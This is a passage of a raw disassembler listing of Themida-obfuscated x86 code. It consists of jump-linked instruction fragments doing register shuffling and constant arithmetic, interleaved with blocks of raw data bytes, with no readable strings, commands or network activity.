; ---------------------------------------------------------------------------


loc_55F26F:				; CODE XREF: Themida_:005543B1j
		push	7910869h
		jmp	loc_55B72A
; ---------------------------------------------------------------------------
		db 68h,	78h, 0Ah
		dd 3C890000h, 1B086824h, 34890000h, 0D77BE24h, 6BF1DBBh
		dd 0E9390374h, 0FFFF5A37h, 0D3E9BD04h, 5D000019h, 0DAE9C101h
		dd 81FFFFFBh, 282BFEC1h, 93E9813Eh, 124E801h, 93C181C1h
		dd 5624E801h, 0FFC16FE9h, 3029B5FFh, 31045BFDh,	0E800922Ch
		dd 0FF6C0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F2D1:				; CODE XREF: Themida_:005645D3j
		mov	al, 71h
		add	al, dl
		jmp	loc_563E3E
; ---------------------------------------------------------------------------


loc_55F2DA:				; CODE XREF: Themida_:005650B2j
		pop	edi
		shr	ebx, 6
		shr	ebx, 4
		push	ebp
		mov	ebp, 95A3305h
		dec	ebp
		jmp	loc_55B797
; ---------------------------------------------------------------------------


loc_55F2ED:				; CODE XREF: Themida_:0055D180j
		or	eax, eax
		jz	loc_557A94
		push	dword ptr [edi+28h]
		jmp	loc_55C731
; ---------------------------------------------------------------------------


loc_55F2FD:				; CODE XREF: Themida_:0055F358j
		xchg	ebx, [esp]
		jmp	loc_554CC4
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 5Dh
		dd 535AD301h, 42E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F311:				; CODE XREF: Themida_:00556F8Fj
		xor	ecx, 6FDBFFBFh
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		jmp	loc_562762
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFD4E9h, 4C481h, 0C330000h, 240C3124h
		dd 8B240C33h, 24D22424h, 0D9E99C24h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F34F:				; CODE XREF: Themida_:005642E3j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F2FD
; ---------------------------------------------------------------------------
		db 2Ch,	0D9h, 66h
		dd 662B8268h, 53240C89h, 5366DDB7h, 12454F6h, 0F7805B66h
		dd 46E78020h, 0E9DFB252h, 0FFFFF8C5h, 4B80E981h, 0BA520437h
		dd 7B71242Fh, 269DF281h, 0DAF77F93h, 8142DAF7h,	0F08D02C2h
		dd 0E9D1312Dh, 0FFFF3586h, 229BF281h, 0F7424654h, 0CDC281DAh
		dd 1EC8DC7h, 4055AD0h, 87000000h, 815C2404h, 2C7h, 71F86800h
		dd 0BBE90000h, 59000046h, 0BE56C829h, 547A64FFh, 1789B951h
		dd 0EFE93693h, 0B900001Dh, 466763Ch, 5659C809h,	4215B1BEh
		dd 0B4F68127h, 81664C0Ch, 1D10ECEEh, 2EEC17Dh, 65A3EE81h
		dd 83E974F0h, 8BFFFFD1h, 0E9532434h, 0FFFFED8Bh
; ---------------------------------------------------------------------------


loc_55F414:				; CODE XREF: Themida_:00558AFFj
		xor	eax, esi
		pop	esi
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_557D94
; ---------------------------------------------------------------------------
		dd 2904F681h, 0C6810798h, 0A56ECAD4h, 0CB777F2Dh, 0E7895767h
		dd 4C781h, 0EF830000h, 243C8704h, 243C895Ch, 0F75D34BFh
		dd 0E9D7F759h, 0FFFF4D69h, 0E975C780h, 0FFFF762Fh, 8107EAC1h
		dd 2A1819CAh, 185C687Ah, 1C890000h, 73F2BB24h, 0DBF7555Ch
		dd 5778E9h, 4C48100h, 28000000h, 21BDE9D8h, 3C890000h
		dd 7ABA5224h, 89224809h, 66E95AD7h, 5FFFF43h, 461770Fh
		dd 2404875Eh, 4A30F5Ch,	7DE99C24h, 81FFFF21h, 4EBh, 0B3FAE900h
		dd 0C483FFFFh, 6AC58104h, 2949FA49h, 6AED81C5h,	8B49FA49h
		dd 0C4812404h, 4, 0C581FD01h, 56BA6AC4h, 0CF7ED81h, 815F50D8h
		dd 4C5h, 74FF5500h, 8F5D0424h, 248B2404h, 68F9F724h, 6B08h
		dd 0E9240489h, 527Ch, 4BBh, 5BDA0100h, 4EA81h, 14870000h
		dd 0D3FE924h, 590000h, 2434FFF8h, 5B2434FFh, 5704C483h
		dd 46E9E789h, 8BFFFF82h, 0F1E92404h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F533:				; CODE XREF: Themida_:0055841Ej
		pop	ebx
		jmp	loc_55C236
; ---------------------------------------------------------------------------


loc_55F539:				; CODE XREF: Themida_:0055C7DDj
		mov	eax, 2E975524h
		sub	eax, 1
		dec	eax
		not	eax
		and	eax, 43DA4A72h
		neg	eax
		jmp	loc_563FE6
; ---------------------------------------------------------------------------


loc_55F550:				; CODE XREF: Themida_:005637E2j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_556505
; ---------------------------------------------------------------------------


loc_55F562:				; CODE XREF: Themida_:005565B4j
		add	eax, 66B25B90h
		jmp	loc_553C0A
; ---------------------------------------------------------------------------


loc_55F56C:				; CODE XREF: Themida_:005618C9j
		xchg	ebx, ebp
		xchg	ebp, edx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		jmp	loc_565C00
; ---------------------------------------------------------------------------
		db 0ACh
		dd offset dword_457444+38224h
		dd 240C8900h, 53E28952h, 0FFFF73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F58D:				; CODE XREF: Themida_:00565D9Fj
		mov	esi, [esp]
		jmp	loc_553C7B
; ---------------------------------------------------------------------------


loc_55F595:				; CODE XREF: Themida_:00553E92j
		pop	ebx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5622FC
; ---------------------------------------------------------------------------


loc_55F5BB:				; CODE XREF: Themida_:00565A3Cj
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_565237
; ---------------------------------------------------------------------------


loc_55F5C7:				; CODE XREF: Themida_:00551D3Dj
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_55F5CC:				; CODE XREF: Themida_:00554A3Ej
		pop	ebx
		pop	dword ptr [esp]
		push	ebx
		push	ebp
		pop	ebx
		pop	ebp
		jmp	loc_55D0A9
; ---------------------------------------------------------------------------


loc_55F5D9:				; CODE XREF: Themida_:0055C673j
		shl	bl, 8
		add	bl, 0AEh
		add	bl, 7Fh
		mov	ah, bl
		pop	ebx
		push	1563h
		mov	[esp], ecx
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		push	ebx
		mov	bl, cl
		mov	dh, bl
		jmp	loc_561142
; ---------------------------------------------------------------------------


loc_55F5FD:				; CODE XREF: Themida_:0055D0D0j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55ADF6
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0E9830000h, 240C8704h, 64E5E9h, 4EC8100h, 89000000h
		dd 0B3532404h, 0AE25E9E5h, 575CFFFFh, 2BFh, 0E9FB0100h
		dd 3532h, 0E981D901h, 47B84E91h, 0DF35E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F64E:				; CODE XREF: Themida_:005607C2j
		or	edx, 813018Dh
		shl	edx, 8
		jmp	loc_561108
; ---------------------------------------------------------------------------


loc_55F65C:				; CODE XREF: Themida_:00555F13j
		pop	edx
		xor	eax, esi
		jmp	loc_5630C8
; ---------------------------------------------------------------------------


loc_55F664:				; CODE XREF: Themida_:00555461j
		add	eax, 0B6E6EC0Ch
		add	edx, eax
		pop	eax
		neg	edx
		and	edx, 4D806A7Ch
		jmp	loc_55D165
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0EF830000h, 243C3302h, 33243C31h, 248B243Ch
		dd 34896624h, 68665724h, 8B665049h, 0C483243Ch,	1D686602h
		dd 14896654h, 3ABA6624h, 1ABBE933h, 0E9520000h,	0FFFFB1C2h
		dd 405BD889h, 0FE7DEF05h, 1EF4E944h, 0FF050000h, 40FFFFFFh
		dd 2D05E0C1h, 10F9454Bh, 242C8150h, 5C872EC2h, 0C2BE565Dh
		dd 0E95C872Eh, 0FFFF92DDh, 2BDh, 0E9E80100h, 429Fh, 4EC81h
		dd 4890000h, 49876824h,	2D5872E3h, 72E34983h, 8758C201h
		dd 425C2414h, 0FF69E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F715:				; CODE XREF: Themida_:00561A03j
		add	esp, 4
		jmp	loc_563A47
; ---------------------------------------------------------------------------


loc_55F71D:				; CODE XREF: Themida_:0055F9A9j
		xchg	esi, [esp]
		jmp	loc_560B38
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0FF58BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F72D:				; CODE XREF: Themida_:0055393Bj
		sub	ebp, 7BA21604h
		add	ebp, eax
		jmp	loc_564E58
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D5682404h, 89000070h, 0EC81243Ch, 4, 53242489h, 4BBh
		dd 245C0100h, 3C8B5B04h, 4C48124h, 0E9000000h, 0FFFF5EADh
		dd 4C2815Ah, 81000000h,	4C2h, 24148700h, 0FF5EAEE9h, 243C31FFh
		dd 8B243C33h, 0DE92424h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F78B:				; CODE XREF: Themida_:00557DECj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55D91F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0F650D1B4h, 58012454h, 808FE480h, 0E7881EECh, 290BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F7B1:				; CODE XREF: Themida_:005643D6j
		sub	ebx, 7C9F24C7h
		add	ebx, 2CA574DBh
		add	ebx, 7AA5C19h
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_556F00
; ---------------------------------------------------------------------------


loc_55F7DC:				; CODE XREF: Themida_:005635D1j
		sub	edx, esi
		sub	edx, 7F9320F8h
		push	esi
		mov	esi, 6B147766h
		add	esi, 0B465C471h
		sub	edx, esi
		pop	esi
		jmp	loc_553E4B
; ---------------------------------------------------------------------------
		dd 0F8468h, 24148900h, 0E9525051h, 5029h, 0B4B85052h, 0E90DB52Ch
		dd 0FFFFC629h
; ---------------------------------------------------------------------------


loc_55F814:				; CODE XREF: Themida_:00552DACj
		push	ebp
		mov	ebp, esp
		jmp	loc_5545A0
; ---------------------------------------------------------------------------


loc_55F81C:				; CODE XREF: Themida_:00559095j
		push	eax
		jmp	loc_552CD3
; ---------------------------------------------------------------------------
		dw 8142h
		dd 625120F2h, 0D8CA8166h, 0E92B6670h, 0FFFF900Fh, 78A2C681h
		dd 3C8B0DE1h, 0E0895024h, 0FF4C84E9h, 4C183FFh,	5C240C87h
		dd 3EABC281h, 0EA814086h, 2CE10628h, 8904EC83h,	67B9240Ch
		dd 1771501h, 0C20159CAh, 158B68h, 242C8900h, 150167BDh
		dd 6CC28177h, 815A766Ah, 473E22EAh, 75EA8177h, 29292E28h
		dd 75C281EAh, 81292E28h, 473E22C2h, 6CBF5777h, 295A766Ah
		dd 48E95FFAh
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8A3:				; CODE XREF: Themida_:00561B35j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_563855
; ---------------------------------------------------------------------------
		dd 0E9CE015Fh, 0FFFF9298h, 419CBD55h, 0E5C124A5h, 0E9DDF705h
		dd 0FFFF482Fh, 33243431h, 248B2434h, 2434FF24h,	0FFF8B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F8DD:				; CODE XREF: Themida_:00552128j
		pop	esi
		add	esp, 4
		push	ebx
		xor	dword ptr [esp], 652277A5h
		pop	ebp
		xor	ebp, 652277A5h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	53EDh
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_5604E8
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 0E9242C87h, 0FFFFBEC1h, 37E1CA81h,	0F2810D32h
		dd 1A4C4C0Bh, 40A1E281h, 814A17E0h, 0E4082CEAh,	33BE561Fh
		dd 8134CE1Eh, 74D87EEEh, 6BDAE932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F94E:				; CODE XREF: Themida_:00559366j
		xchg	ecx, [esp]
		not	ecx
		jmp	loc_55C1BD
; ---------------------------------------------------------------------------
		dd 4C08359h, 0EA8E950h,	0E3C10000h, 4EC8306h, 0BF243C89h
		dd 32E60A9Bh, 0FFAB4AE9h, 4ED81FFh, 87000000h, 895C242Ch
		dd 4BA2414h, 1000000h, 4875AD0h, 3E63E924h, 0C289FFFFh
		dd 5AD10158h, 0FF6A23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F99D:				; CODE XREF: Themida_:00561C82j
		add	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_55F71D
; ---------------------------------------------------------------------------


loc_55F9AE:				; CODE XREF: Themida_:0055EAE9j
		pop	esp
		jmp	loc_56332B
; ---------------------------------------------------------------------------


loc_55F9B4:				; CODE XREF: Themida_:00557DBDj
		pop	ebx
		xor	edi, 71157268h
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_564709
; ---------------------------------------------------------------------------


loc_55F9C5:				; CODE XREF: Themida_:0055B2C3j
		neg	esi
		xor	esi, 0EAC3BFBDh
		jmp	loc_56409A
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C4812434h, 4, 731F68h, 242C8900h, 0E134E951h, 0E901FFFFh
		dd 0FFD257E9h, 159A68FFh, 0C890000h, 4B924h, 0C8010000h
		dd 0BB3DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA06:				; CODE XREF: Themida_:0055FD26j
		add	esi, 5BB4402Ch
		xor	esi, 0CB75905Ah
		jmp	loc_55D42B
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB0104C4h, 5D2434FFh, 4C481h, 27E90000h, 0BFFFFF55h
		dd 49976C50h, 0FFA149E9h, 56D829FFh, 0E64478BEh, 5EF0294Ah
		dd 431368h, 243C8900h, 4D2B951h, 0AFE93CFBh
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA53:				; CODE XREF: Themida_:00558327j
		push	ecx
		mov	ecx, 48C55305h
		xor	ecx, 27960F1Ch
		not	ecx
		push	esi
		mov	esi, 327558B0h
		and	esi, 175A1339h
		not	esi
		xor	esi, 6DA073EBh
		xor	esi, 0E650C764h
		and	ecx, esi
		pop	esi
		push	esi
		mov	esi, offset word_53335A
		dec	esi
		or	esi, 11BD2995h
		and	esi, 5B7730DCh
		jmp	loc_565AE5
; ---------------------------------------------------------------------------
		dw 5750h
		dd 9A116EBFh, 0E5E9567Eh, 1FFFFACh, 0C3358C1h, 0C648E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FAAE:				; CODE XREF: Themida_:00564E1Cj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, edx
		pop	edx
		jmp	loc_5654AE
; ---------------------------------------------------------------------------


loc_55FAC5:				; CODE XREF: Themida_:005624FFj
		push	dword ptr [esp]
		jmp	loc_55CC58
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 7
		dd 6E5C145h, 0EB84C581h, 0D6E93DE9h, 5200000Bh,	4BAh, 0E9D38900h
		dd 0FFFF3540h, 8924248Bh, 4C68240Ch, 8900002Bh,	0F6B82404h
		dd 0C125E97Fh, 0D8F704E0h, 0D3E9D8F7h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB0B:				; CODE XREF: Themida_:0055ECE8j
		mov	ecx, [esp]
		push	edx
		jmp	loc_55FF67
; ---------------------------------------------------------------------------
		dd 0D53055B5h, 8BE5285Ah, 0C4832404h, 5E5C004h,	0E5C0D5F6h
		dd 0A120E908h, 575FFFFFh, 0EE0FCABFh, 0C2C38110h, 29095F51h
		dd 0C2EB81FBh, 5F095F51h, 52D2EB81h, 2BE95BE9h,	81FFFF73h
		dd 4C1h, 68E95200h, 56FFFF7Dh, 89DA8952h, 5F685AD6h, 8900006Ah
		dd 4812434h, 3A3BA224h,	0EF815F44h, 443A3BA2h, 54565B5Eh
		dd 4BD555Eh, 0E9000000h, 4AC1h
; ---------------------------------------------------------------------------


loc_55FB88:				; CODE XREF: Themida_:005610ABj
		push	ebp
		mov	ebp, esp
		jmp	loc_55CB14
; ---------------------------------------------------------------------------
		dd 4EC815Ah, 89000000h,	0BA52242Ch, 0BF41B26h, 485CE9h
		dd 0F9E95500h, 5EFFFFE3h, 0E908E3C1h, 5C67h, 9158F181h
		dd 90E9F4DFh, 0B9FFFF68h, 43C136F5h, 4F43E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FBC9:				; CODE XREF: Themida_:0055E4AAj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	1E6Bh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_564AEB
; ---------------------------------------------------------------------------


loc_55FBE9:				; CODE XREF: Themida_:0055BF87j
		mov	[esp], esi
		mov	esi, 4
		sub	ecx, 4A8E4157h
		push	edx
		mov	edx, 59B30E55h
		add	edx, 54F45D3Fh
		sub	edx, 3C3C1669h
		dec	edx
		jmp	loc_5570F7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 2C3668h, 24348900h, 6526E9h, 80C78100h
		dd 11DB755h, 80EF81CFh,	811DB755h, 0FD7E51C7h, 240C8B61h
		dd 3304C483h, 99E9243Ch
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC47:				; CODE XREF: Themida_:0055D9AEj
		push	ecx
		jmp	loc_55584B
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0F623E95Ch, 0C8BFFFFh, 66086824h, 2C890000h,	81E58924h
		dd 4C5h, 0F8E95700h, 0BD000030h, 3B0C5AFCh, 2EF0E9h, 34FF5B00h
		dd 0EDD9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC82:				; CODE XREF: Themida_:0055804Ej
		div	ecx
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 36945652h
		mov	esi, ebx
		jmp	loc_564C96
; ---------------------------------------------------------------------------


loc_55FC9A:				; CODE XREF: Themida_:00554A5Cj
		inc	edx
		dec	edx
		not	edx
		xor	edx, 9781C76h
		xor	edx, 6DB06125h
		add	edx, 5C417A10h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_55CF5A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1C2A6824h, 3C890000h, 46606824h, 24890000h, 24048124h
		dd 4, 4C7815Fh,	50000000h, 0FFC0E9E9h, 4EC81FFh, 89000000h
		dd 17E9242Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCF3:				; CODE XREF: Themida_:0055C2B1j
		shr	eax, 0Ch
		xor	eax, ecx
		push	951h
		mov	[esp], eax
		jmp	loc_55A7E7
; ---------------------------------------------------------------------------
aBSibRsHq9	db 'Ã`)éiÃÒRé[hï9',0
		align 2
		dw 489h
		dd 0FCAB824h, 0C30110EEh, 63D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FD25:				; CODE XREF: Themida_:0055F039j
		inc	esi
		jmp	loc_55FA06
; ---------------------------------------------------------------------------
		db 55h
		dd 198BE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD32:				; CODE XREF: Themida_:005605E0j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	ebx
		push	edi
		mov	edi, 11391B30h
		mov	ebx, edi
		jmp	loc_55CE6A
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 5204h, 8056DCBEh, 4D1F6863h,	4890000h, 28E06824h, 66E90000h
		dd 8BFFFFCEh, 0C4812414h, 4, 49E9E628h,	81000014h, 0B1FB3C1h
		dd 0DDFBE93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD82:				; CODE XREF: Themida_:00553564j
		pop	edi
		push	edx
		mov	edx, 2E876698h
		push	eax
		jmp	loc_55AC38
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83240Ch, 24248904h, 4240481h, 0E9000000h,	0FFFFFEB2h
		dd 822DC801h, 596B9359h, 5276E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FDB1:				; CODE XREF: Themida_:0055C3B5j
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		add	ecx, 67C8DC0Eh
		and	edx, ecx
		pop	ecx
		xchg	eax, edx
		not	eax
		jmp	loc_55678A
; ---------------------------------------------------------------------------
		db 29h
		dd 0C3015EF3h, 14B0C381h, 48B25AAh, 4C48124h, 52000000h
		dd 40D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FDE1:				; CODE XREF: Themida_:00561D39j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55743F
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0B7h
		dd 5D9BE959h, 4959FFFFh, 586DE181h, 0D9F753CFh,	6A0FE181h
		dd 0C18175C9h, 0CA3EDDF8h, 0FFF44BE9h, 295B5AFFh, 242C8BE8h
		dd 81E38953h, 4C3h, 4C38300h, 0E9241C33h, 0FFFFA01Dh, 40B5E981h
		dd 5DE90EB8h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE43:				; CODE XREF: Themida_:005584F7j
		pop	esp
		jmp	loc_555713
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 6Fh
		dd 814DC04Ch, 0B1709FEEh, 0DBEE8174h, 0C16DD50Dh, 0EE8108E6h
		dd 423C2885h, 0C28EEE81h, 0F029D987h, 5A3D685Eh, 4EE90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE77:				; CODE XREF: Themida_:00563444j
		add	eax, 4
		jmp	loc_564E21
; ---------------------------------------------------------------------------


loc_55FE81:				; CODE XREF: Themida_:00554113j
		sub	ah, 5Fh
		shl	ah, 6
		neg	ah
		sub	ah, 9Dh
		sub	ah, 3Dh
		jmp	loc_562DDC
; ---------------------------------------------------------------------------
		dd 6DEE781h, 0C7814DAEh, 2616BDBh, 0C781D7F7h, 8D87EAC0h
		dd 0E95FFA89h, 0FFFF89AEh, 70E9F989h, 89000010h, 0C2882414h
		dd 0CCE95350h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FEC3:				; CODE XREF: Themida_:00562D39j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55B5B8
; ---------------------------------------------------------------------------
		dd 4C281h, 8BE90000h, 64FFFF97h, 0E9028966h, 0FFFF173Ch
		dd 4EC81h, 24890000h, 24048124h, 4, 0DCE9535Eh,	89FFFFFBh
		dd 30AAE9D1h, 0F181FFFFh, 18A625E9h, 1F41E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF15:				; CODE XREF: Themida_:00560219j
		mov	ebx, esp
		push	ebp
		mov	ebp, 30C1199Fh
		shl	ebp, 6
		jmp	loc_562607
; ---------------------------------------------------------------------------
		db 31h,	0D0h, 8Bh
		dd 0C4832414h, 53C33104h, 181B68h, 243C8900h, 0C94B07BFh
		dd 0FCE95079h, 81FFFF8Bh, 2D260F5h, 0CC1EE9F4h,	0E956FFFFh
		dd 0FFFF9E96h, 1C51EE81h, 0C6015DF7h, 1C51C681h, 5E95DF7h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF67:				; CODE XREF: Themida_:0055FB0Fj
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55BD94
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFA2AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FF85:				; CODE XREF: Themida_:0055EC60j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_557E70
; ---------------------------------------------------------------------------


loc_55FFA1:				; CODE XREF: Themida_:0055D6A0j
		mov	[esp], esi
		push	ebx
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5665B4
; ---------------------------------------------------------------------------


loc_55FFBA:				; CODE XREF: Themida_:005665BAj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55AE21
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF8D0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FFD5:				; CODE XREF: Themida_:0055A40Cj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	14DAh
		mov	[esp], eax
		mov	eax, 569E1E96h
		sub	esp, 4
		mov	[esp], eax
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	eax
		xor	eax, 42077B7h
		jmp	loc_551B4F
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF7932E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56000D:				; CODE XREF: Themida_:0055D117j
		push	edx
		push	ecx
		jmp	loc_551935
; ---------------------------------------------------------------------------
aHc		db '^hc"',0
		align 2
		dw 2C89h
		dd 2BD24h, 0BD550000h, 50B81B6Eh, 815DE901h, 0DB7E82C1h
		dd 52C7E937h, 4050000h,	87000000h, 248B2404h, 5D66824h
		dd 4890000h, 2B824h, 0C5010000h, 5255E958h, 0B7530000h
		dd 9C8EE93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56005E:				; CODE XREF: Themida_:00553611j
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		jmp	loc_554C42
; ---------------------------------------------------------------------------


loc_56006C:				; CODE XREF: Themida_:005644C2j
		xor	eax, ecx
		jmp	loc_55D4D3
; ---------------------------------------------------------------------------
		db 1
		dd 0FABE56C2h, 55126468h, 84CC7BDh, 3C1FE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560086:				; CODE XREF: Themida_:0055CB93j
		shl	ebx, 4
		jmp	loc_557DE6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0A2BE5604h, 4E3F6854h, 660C681h, 0F2013CD4h,	68FA015Eh
		dd 2FD9h, 0FFE40DE9h, 7085BFFFh, 0F929794Ah, 0DFE9495Fh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5600BB:				; CODE XREF: Themida_:0055EFC1j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5555E0
		sub	esp, 4
		jmp	loc_559247
; ---------------------------------------------------------------------------


loc_5600D0:				; CODE XREF: Themida_:00565E53j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		add	edx, 4
		jmp	loc_56201E
; ---------------------------------------------------------------------------
		dw 0B1BEh
		dd 0C16DF56Ch, 0EE8108EEh, 622B3C5Ch, 3C94C681h, 0E68115ABh
		dd 2D980410h, 10CAB951h, 0D9F701A8h, 5F1CC181h,	0CE296937h
		dd 0FF7963E9h, 26C781FFh, 16E38FBh, 0F3815FFBh,	14AA83BAh
		dd 1C8BDF01h, 4C48324h,	0FFFD77E9h, 6E8C1FFh, 4140548h
		dd 0C1896B88h, 0FF555BE9h, 1C77FFFFh, 6658669Dh, 9C240419h
		dd 0FF14CFE9h, 242C33FFh, 6186685Ch, 2C890000h,	67ECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56016A:				; CODE XREF: Themida_:00552474j
		mov	esi, [esp]
		jmp	loc_55D0DF
; ---------------------------------------------------------------------------


loc_560172:				; CODE XREF: Themida_:005597B1j
		add	esp, 4
		xor	ebp, eax
		jmp	loc_565C8E
; ---------------------------------------------------------------------------


loc_56017C:				; CODE XREF: Themida_:0055A5EEj
		xor	eax, ebp
		jmp	loc_559360
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 3C8B0000h, 4C48124h,	81000000h, 4C7h, 4CB6E900h
		dd 8957FFFFh, 5FFB89C7h, 0E5C38158h, 0E94B5F20h, 1695h
; ---------------------------------------------------------------------------


loc_5601B0:				; CODE XREF: Themida_:0056520Bj
		sub	ebp, 62A12E71h
		jmp	loc_559125
; ---------------------------------------------------------------------------
		db 29h
		dd 79E95AD7h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5601C3:				; CODE XREF: Themida_:00557312j
		sub	esi, 590A32F8h
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 5061400Eh
		sub	eax, 3F0F6ACCh
		jmp	loc_562A1F
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 4BEh, 54A8E900h, 8357FFFFh, 248904ECh, 24048324h, 8AE95F04h
		dd 0C1FFFF4Fh, 0C56803EBh, 89000063h, 50B82404h, 9082560h
